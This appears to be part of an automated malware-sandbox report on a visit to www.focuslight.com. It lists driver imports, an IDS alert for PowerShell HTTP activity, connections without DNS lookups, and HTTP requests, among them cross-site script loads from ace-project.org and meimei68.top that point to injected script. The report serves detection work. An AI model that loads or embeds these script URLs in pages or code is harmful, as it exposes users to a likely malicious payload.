Source: itvwd64.sys1.28.dr	Static PE information: Found NDIS imports: FwpsInjectionHandleDestroy0, FwpsInjectionHandleCreate0, FwpmTransactionCommit0, FwpsInjectNetworkSendAsync0, FwpmCalloutAdd0, FwpmSubLayerDeleteByKey0, FwpsQueryPacketInjectionState0, FwpmFilterDeleteByKey0, FwpmCalloutDeleteByKey0, FwpsFlowRemoveContext0, FwpsInjectNetworkReceiveAsync0, FwpmSubLayerAdd0, FwpsCalloutUnregisterByKey0, FwpsFlowAssociateContext0, FwpsAllocateNetBufferAndNetBufferList0, FwpsFreeNetBufferList0, FwpmEngineClose0, FwpmTransactionBegin0, FwpmFilterAdd0, FwpmProviderDeleteByKey0, FwpmEngineOpen0, FwpmTransactionAbort0, FwpsCalloutRegister0, FwpmProviderAdd0, FwpsInjectForwardAsync0
Source: itvwd64.sys2.28.dr	Static PE information: Found NDIS imports: FwpsInjectionHandleDestroy0, FwpsInjectionHandleCreate0, FwpmTransactionCommit0, FwpsInjectNetworkSendAsync0, FwpmCalloutAdd0, FwpmSubLayerDeleteByKey0, FwpsQueryPacketInjectionState0, FwpmFilterDeleteByKey0, FwpmCalloutDeleteByKey0, FwpsFlowRemoveContext0, FwpsInjectNetworkReceiveAsync0, FwpmSubLayerAdd0, FwpsCalloutUnregisterByKey0, FwpsFlowAssociateContext0, FwpsAllocateNetBufferAndNetBufferList0, FwpsFreeNetBufferList0, FwpmEngineClose0, FwpmTransactionBegin0, FwpmFilterAdd0, FwpmProviderDeleteByKey0, FwpmEngineOpen0, FwpmTransactionAbort0, FwpsCalloutRegister0, FwpmProviderAdd0, FwpsInjectForwardAsync0
Source: itvwd64.sys3.28.dr	Static PE information: Found NDIS imports: FwpsInjectionHandleDestroy0, FwpsInjectionHandleCreate0, FwpmTransactionCommit0, FwpsInjectNetworkSendAsync0, FwpmCalloutAdd0, FwpmSubLayerDeleteByKey0, FwpsQueryPacketInjectionState0, FwpmFilterDeleteByKey0, FwpmCalloutDeleteByKey0, FwpsFlowRemoveContext0, FwpsInjectNetworkReceiveAsync0, FwpmSubLayerAdd0, FwpsCalloutUnregisterByKey0, FwpsFlowAssociateContext0, FwpsAllocateNetBufferAndNetBufferList0, FwpsFreeNetBufferList0, FwpmEngineClose0, FwpmTransactionBegin0, FwpmFilterAdd0, FwpmProviderDeleteByKey0, FwpmEngineOpen0, FwpmTransactionAbort0, FwpsCalloutRegister0, FwpmProviderAdd0, FwpsInjectForwardAsync0
Source: itvwd64.sys4.28.dr	Static PE information: Found NDIS imports: FwpsInjectionHandleDestroy0, FwpsInjectionHandleCreate0, FwpmTransactionCommit0, FwpsInjectNetworkSendAsync0, FwpmCalloutAdd0, FwpmSubLayerDeleteByKey0, FwpsQueryPacketInjectionState0, FwpmFilterDeleteByKey0, FwpmCalloutDeleteByKey0, FwpsFlowRemoveContext0, FwpsInjectNetworkReceiveAsync0, FwpmSubLayerAdd0, FwpsCalloutUnregisterByKey0, FwpsFlowAssociateContext0, FwpsAllocateNetBufferAndNetBufferList0, FwpsFreeNetBufferList0, FwpmEngineClose0, FwpmTransactionBegin0, FwpmFilterAdd0, FwpmProviderDeleteByKey0, FwpmEngineOpen0, FwpmTransactionAbort0, FwpsCalloutRegister0, FwpmProviderAdd0, FwpsInjectForwardAsync0

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49760 -> 141.193.213.10:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 84.201.221.37
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 84.201.221.37
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 74.125.137.94
Source: unknown	TCP traffic detected without corresponding DNS query: 74.125.137.94
Source: unknown	TCP traffic detected without corresponding DNS query: 74.125.137.94
Source: unknown	TCP traffic detected without corresponding DNS query: 74.125.137.94
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1host: www.focuslight.comupgrade-insecure-requests: 1user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-fetch-site: nonesec-fetch-mode: navigatesec-fetch-user: ?1sec-fetch-dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=0, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/en_css/owl.carousel.min.css HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: text/css,/;q=0.1sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: stylereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/en_css/animate.min.css HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: text/css,/;q=0.1sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: stylereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/en_css/public.css?v=1 HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: text/css,/;q=0.1sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: stylereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/en_js/jquery-3.6.0.min.js HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptreferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/en_js/owl.carousel.min.js HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptreferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/en_js/public.js HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptreferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/en_js/wow.min.js HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptreferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/layer/layer.js HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptreferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/grzxicn0.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=2, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/grzxicnred0.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=2, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/layer/theme/default/layer.css?v=3.1.1 HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: text/css,/;q=0.1sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: stylereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/gwcicn0.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=2, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/gwcicnred0.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=2, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/Heptagon-Logo-white.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=2, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/sousuo0.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/wp-content/themes/cn/en_css/public.css?v=1accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jtlered0.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/xiangxia.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jtrired1.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/Manrope-Regular.woff2 HTTP/1.1host: www.focuslight.comorigin: https://www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: fontreferer: https://www.focuslight.com/wp-content/themes/cn/en_css/public.css?v=1accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/Manrope-Bold.woff2 HTTP/1.1host: www.focuslight.comorigin: https://www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: corssec-fetch-dest: fontreferer: https://www.focuslight.com/wp-content/themes/cn/en_css/public.css?v=1accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=0
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/js/countUp.min.js HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: /sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: scriptreferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/logo.svg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/09/02%E5%8D%8A%E5%AF%BC%E4%BD%93%E6%BF%80%E5%85%89%E5%85%83%E5%99%A8%E4%BB%B6.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/03%E6%BF%80%E5%85%89%E5%85%89%E5%AD%A6%E5%85%83%E5%99%A8%E4%BB%B6.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/01%E5%8E%9F%E6%9D%90%E6%96%99.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/07/04%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/09/Optical-coating-3.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /d.js HTTP/1.1Host: ace-project.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/grzxicn0.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/grzxicnred0.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3AbPdawTdpo235d&MD=4WrkVZ6r HTTP/1.1host: slscr.update.microsoft.comaccept: /user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33
Source: global traffic	HTTP traffic detected: GET /lsass/jsson.js HTTP/1.1Host: meimei68.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/Heptagon-Logo.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
